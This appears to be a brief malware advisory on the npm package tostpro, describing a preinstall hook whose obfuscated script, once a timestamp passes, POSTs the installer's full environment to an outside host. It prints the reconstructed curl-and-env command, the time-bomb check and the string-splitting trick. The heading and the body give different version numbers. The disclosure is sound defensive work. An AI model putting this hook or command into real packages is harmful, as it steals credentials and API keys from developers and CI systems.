tostpro@100.6.0

The npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d "`$b$s$a`" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion.